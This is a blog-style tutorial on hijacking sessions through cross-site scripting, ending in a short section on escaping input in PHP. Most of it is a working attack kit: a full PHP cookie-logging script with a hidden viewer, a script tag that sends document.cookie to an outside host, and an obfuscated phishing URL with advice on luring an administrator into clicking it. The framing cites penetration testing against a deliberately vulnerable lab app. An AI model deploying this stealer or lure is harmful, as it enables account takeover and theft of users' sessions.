teh-cookie-monster.jpg
teh cookie monster

Cross site scripting attacks, commonly called XSS, are becoming more and more prevalent as the power of JavaScript has evolved way beyond simple DOM manipulation. Using the power of embedded JavaScript can be beneficial for an attacker for several reasons including…

  • HiJacking accounts (covered in this article)
  • Inserting malicious code
  • Using resources of your visitors/website
  • Inserting links to undesirable websites
  • Stealing sensitive information

XSS? It’s just a popup!

The common misconception of XSS attacks is that they are benign and of no real significance. Injecting HTML and JavaScript into a page was, once upon-a-time, fairly pointless and meant little more than funky stuff happening to the user inputting the malicious data. The power of JavaScript and HTML capabilities have grown exponentially over the past few years.

There are many notable instances of malicious JavaScript code being used very effectively. Cross Site Scripting attacks have been used against the majority of big social media websites, among others, with notable mentions including…

Twitter suffered an account hijacking exploit, which snared well over 100,000 Twitter accounts. A recent Yahoo XSS exploit lead to many comprimised accounts but the true number is unknown.

FaceBook has been plagued by vulnerabilities, mostly due to the popularity of the website. A notable FaceBook XSS flaw was recently discovered in its instant messaging JavaScipt handling which could lead to full access to the target's private messages. Gmail has been susceptible to several stored and reflected Cross Site Scripting attacks over the past few years. A vulnerability was introduced when Google+ integration was rolled out and lead to complete account takeover.

Anonymous recently used very simple JavaScript deployment in a very effective manner by inserting a script called "The Hive", which is a JavaScript based DDOS tool. The aim was simple: take down a well known and possibly highest value target of all; the Department of Justice. They were successful and it required very little resources compared to previous DDOS attacks.

There are many more examples, but that should be enough to scare even the laziest developers.

The process of hijacking a user's session is fairly straight forward but the required code usually takes a little tweaking, depending on the target. The idea is simple: find a point to inject JavaScript, get someone with escalated permissions to visit the page, log their information and replace your current login with theirs.

The attack flow is simple:

  1. Find a vulnerability
  2. Create a payload
  3. Entice an admin/staff/user to visit the URL
  4. Clone their session or cookie
  5. Login as victim (Admin?)
  6. ???
  7. Profit!!!

OK so jokes of profit aside, the code required to be deployed on the target site is usually minimal as most of the work happens in a small script used to capture the data.

Only two files are required:
One to process the data and one to store the information

I spent some time creating a simple cookie logger to demonstrate how this attack could take place. The main script — cookie-monster.php — will handle collecting the data and cookie-jar.txt will simply log the cookies and other information we grab.

The aim of the script was to log all cookies from our target site to a file and allow them to be viewed. The code below is a modified working example that we use internally to help with penetration testing and script hardening.

PHP cookie-monster.php
<?php
/* Teh Cookie Monster!
| @mradamdavies
| www.abeontech.com
==-------------------------*/
define('LOG_FILE', $_SERVER['DOCUMENT_ROOT'].
    '/res/code/cookie-jar.txt'); // Log file location
define('LOGIN_PSWD', '123-derpy_skid-321'); // Password to view cookies
define('BAD_BOY', '<h1>Bugger Off!</h1>'); // Bad boy message

class Cookie_Logger { // Create a basic class
    public $mode = ''; // Login = 1
    public $pswd = ''; // Password

    public $tehcookie = ''; // Cookie we want!
    public $dated = ''; // Date & time logged
    public $ip = ''; // Target's IP
    public $referer = ''; // Referral information
    public $type = ''; // Reflected? 1|0

    /* Let's start */
    function __construct() {

        function sec($input) { // Basic input validation.
            $input = strip_tags($input);
            $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            $input = trim($input);
            return $input;
        }

        // Update our variables
        $this->mode = (isset($_GET['mode'])) ? (int) $_GET['mode'] : "";
        $this->pswd = (isset($_GET['pswd'])) ? sec($_GET['pswd']) : "";
        $this->dated = date("dS F").
        ' ('.date("H:i a").
        ')';
        $this->ip = sec(getenv('REMOTE_ADDR'));
        $this->tehcookie = (isset($_GET['c'])) ? sec($_GET['c']) : NULL;
        $this->type = (isset($_GET['reflect'])) ? (int) $_GET['reflect'] : "empty";
        $this->referer = sec(getenv('HTTP_REFERER'));
        if ($this->type == 0) {
            $this->vuln_page = $this->referer;
        } else {
            $this-> vuln_page = parse_url($this->referer, PHP_URL_SCHEME).
            '://'.parse_url($this->referer, PHP_URL_HOST).parse_url($this->referer, PHP_URL_PATH);
        }

    } // Construction complete. Time for furniture...

    function store_info() { // Log all relevant information
        $fp = fopen(LOG_FILE, 'a') or die("Error opening file");
        fwrite($fp, "$this->dated,"); // date
        fwrite($fp, "$this->ip,"); // ip
        fwrite($fp, "$this->tehcookie,"); // cookie
        fwrite($fp, "$this->type,"); // reflected 1|0
        fwrite($fp, "$this->vuln_page"); // vulnerable page
        fwrite($fp, "\r\n");
        fclose($fp) or die("Error closing file");

    }

    public
    function __destruct() { // Unset variables
        unset($this->redirect_url);
        unset($this->mode);
        unset($this->pswd);
        unset($this->tehcookie);
        unset($this->type);
        unset($this->dated);
        unset($this->ip);
        unset($this->referer);
        unset($this->vuln_page);
    }

} // Class dismissed. Logs chopped and stacked.
/* Instantiate the class */
$c_log = new Cookie_Logger();

if ($c_log->mode == 1) { // Display Cookie Viewer?
    if ($c_log->pswd == LOGIN_PSWD) { // Password correct?

        /* Show logged cookies */
        echo '<h1>Teh Cookie Monster!</h1>';
        $fp = fopen(LOG_FILE, 'r') or die("Error opening file");
        echo "<table style='padding:6px;border:thin dashed #fd5200'>";
        echo '<tr style="text-align:center;font-weight:bold">';
        echo "<td>Date</td> <td> IP </td> <td> Cookie </td> <td> Type <abbr title = 'Reflected = 1 | Stored = 0'> [ ? ] </abbr></td>
            <td> Vulnerable page </td> <td> Visit </td>";
        echo "</tr>";

        while ($csv_entry = fgetcsv($fp, 1024)) { // Loop CSV data
            echo '<tr onMouseOver="this.bgColor=\'#CCC\'" onMouseOut="this.bgColor=\'#FFF\'" bgColor=#FFF>';
            for ($i = 0, $j = count($csv_entry); $i < $j; ++$i) {
                echo '<td style="border-top:thin solid #ccc; padding:0 10px">'.$csv_entry[$i].
                '</td>';
                if ($i == 4) { // View page link
                    echo '<td style="border-top:thin solid #ccc; padding:0 10px"><a target="_blank" href="http://anonym.to/?'.$csv_entry[$i].
                    '" style="text-decoration:none">« View Page</a></td>';
                }
            }
            echo "</tr>";
        }
        if (!isset($i)) {
            exit('<tr><td colspan="6" style="text-align:center;">No Cookies... Feed me!</td></tr>');
        }
        echo '</table>';
        fclose($fp) or die("Error closing file");
    } else { // Password incorrect
        exit(BAD_BOY);
    }
} else if ($c_log->mode != 1 && !isset($c_log->tehcookie)) { // Invalid mode or empty cookies
    exit(BAD_BOY);
} else { // Eat all teh cookies!
    $c_log->store_info();
    exit();
} ?>

In order for the above code to work we need to inject some simple JavaScript into our target website…

JavaScript xss.js
<script> img=new Image();img.src='http://example.com/cookie-monster.php?c='+document.cookie+'&reflect=0'; </script>

The line of code above will load our script as a blank image and appear to do nothing to the user. The cookie-monster.php script will grab the visitors cookie along with other data, then save it to cookie-jar.txt for later viewing. This could be expanded to return a valid image.

We have our code and we know what to do, so let's use Damn Vulnerable Web Application as an example. I have it installed on my localhost and have two accounts – "admin" and "abeon". I login as "abeon" and create a malicious URL to send to "admin".

This is where the uber-l337 hacking skillz come in handy… We have to make the page attract the admins attention without causing alarm. There are many tactics but an effective one seems to be pretending to report an issue, so kind of break the page but leave it intact enough so as to not arouse suspicion.

Something like this should do…

Text se.txt
http://example.com/damn-vuln-web-app/vulnerabilities/xss_r/?name=admin

I BROKE IT :/ %3Cscript%3Eimg%3Dnew%20Image()%3Bimg.src%3D%27http%3A%2F%2Fabeon-hosting.com%2Fres%2Fcode%2Fcookie-monster.php%3Fc%3D%27%2Bdocument.cookie%2B%27%26reflect%3D%27%2B1%3B%3C%2Fscript%3E

Yup, that's right. A long and ugly URL which is only partially encoded and not very well. This is intentional as the user will see the "I BROKE IT" message clearly but will probably miss the script tags. There are many ways to obfuscate the payload such as mixed encoding, internal redirect, URL shortening services, external retrieval and more.

You could also inject it silently into a page and wait for people to visit the page. You'll can then hijack the session of anyone that visits the page.

cookie-monster.php will log the information when someone clicks the link and display the saved data. View the cookies by visiting the script's URL with the mode set as 1 and password as defined at the top of the script:

Text view.txt
http://example.com/cookie-monster.php?mode=1&pswd=123-derpy_skid-321

There are many ways to edit cookies but browser plugins are the most popular. Cookies Quick Manager is a good cookie manager for FireFox.

Protecting Against XSS Attacks

Defending against Cross Site Scripting attacks is handled in a similar way to most other forms of exploitation: validate and sanitise all data!

The best way to defend against malicious user input is to check the data isn't malicious. Checking for a valid email address or phone number, and clean up any data that is displayed back to the user by converting to benign code.

PHP's inbuilt htmlentities and htmlspecialchars functions handle both tasks in a very similar fashion. htmlspecialchars converts only 5 characters while htmlentities will convert any HTML characters into their representative counterparts. For this reason, it's advisable to use htmlentities with both ENT_QUOTES and UTF-8 flags set as below.

PHP strip_stuff.php
<?php
    $input = htmlentities($input, ENT_QUOTES, 'UTF-8');
    // Or
    $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
?>

Setting ENT_QUOTES will convert both single and double quotes which is essential as both can cause serious problems for security. Using the UTF-8 encoding flag is also very important when using ENT_QUOTES as it defines the encoding used and can help to prevent bypassing using obfuscated code.

The biggest offender for XSS attacks is without a doubt search forms and comment forms. Any data a user can alter should be considered a potential risk. Validating and sanitising functions through which data can be passed is always easier and more reliable than ad hoc coding.